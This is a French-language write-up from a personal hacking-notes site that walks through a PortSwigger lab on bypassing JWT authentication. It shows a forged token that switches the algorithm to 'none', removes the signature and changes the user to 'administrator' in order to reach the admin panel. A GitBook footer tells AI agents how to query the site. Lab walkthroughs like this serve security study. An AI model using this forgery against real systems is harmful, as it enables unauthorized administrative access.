> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).

# Contournement de l’authentification JWT via une vérification de signature défaillante

### Contournement de l'authentification JWT via une vérification de signature défectueuse

**Contexte du laboratoire**

Ce laboratoire utilise **Jetons Web JSON (JWT)** pour gérer les sessions utilisateur. / La configuration du serveur est incorrecte : il \*\* accepte les JWT non signés\*\*, ce qui permet de falsifier un jeton valide sans posséder la clé privée.

**Objectif :**

* Modifier le JWT de session pour accéder `/admin` panneau d'administration
* Supprimer l'utilisateur **carlos**

**Identifiants fournis :**

* Utilisateur : `wiener`
* Mot de passe : `peter`

\*\* Analyse initiale du JWT\*\*

Après la connexion, un cookie de session JWT est fourni :

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```

* **En-tête**: `RS256` algorithme
* **Charge utile**: `wiener` utilisateur
* **Signature**: original and valid

**Modification de la charge utile**

Le but est de se faire passer pour un administrateur. / Le `sub` champ est modifié dans la charge utile :

```json
{
  "iss": "portswigger",
  "exp": 1767531576,
  "sub": "administrator"
}
```

<figure><img src="/files/dd387bdd8c23191963324115a40d905275dc6d55" alt=""><figcaption></figcaption></figure>

**Exploitation d'une vérification incorrecte**

Le serveur accepte les JWT avec `none` algorithme. / Le **en-tête** est ensuite modifié :

```json
{
  "kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
  "alg": "none"
}
```

<figure><img src="/files/d4ffd6b4147d9b475ceed4a1cf45686a91f4b949" alt=""><figcaption></figcaption></figure>

Ensuite :

* La signature est entièrement supprimée\*\*
* Le JWT final se termine par un seul point (`.`)

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```

{% endcode %}

**Résultat**

* Le serveur \*\* accepte les JWT non signés\*\*
* L’accès à `/admin` l'accès au panneau est autorisé
* Utilisateur **carlos** peut être supprimé

<figure><img src="/files/ad514ffd3c751efeda209ea955367f57b632d70a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
